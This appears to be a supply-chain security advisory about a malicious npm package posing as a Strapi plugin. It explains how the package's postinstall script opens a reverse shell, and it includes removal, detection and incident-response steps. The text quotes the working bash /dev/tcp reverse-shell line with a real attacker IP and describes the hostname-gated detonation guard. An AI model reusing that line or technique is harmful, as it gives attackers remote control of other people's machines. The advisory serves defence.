Immediate action

npm uninstall strapi-plugin-cccon-meeb

What this malware does

postinstall.js runs automatically on npm install and executes a bash reverse shell to the hardcoded remote host 14.225.210.85:80 via /dev/tcp, granting that host interactive command execution on the installing machine. Execution is gated by os.hostname() === 'ubuntu-fc-uvm': on non-matching hosts the script exits silently, while on the targeted hostname it spawns bash -i >& /dev/tcp/14.225.210.85/80 0>&1. The hostname allowlist is a detonation guard that keeps the payload dormant on generic scanners and typical developer machines while firing on the intended target. The package is presented as a Strapi plugin but ships no plugin functionality relevant to this behavior in the postinstall path; the lifecycle script's sole effect is the reverse-shell attempt.

Detection & response playbook

Backdoor / remote access

  1. Find it

    Search your lockfiles and build artifacts for strapi-plugin-cccon-meeb (version 3.6.8).

  2. If you installed it — respond

    strapi-plugin-cccon-meeb establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.

  3. Did it already run?

    If strapi-plugin-cccon-meeb was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
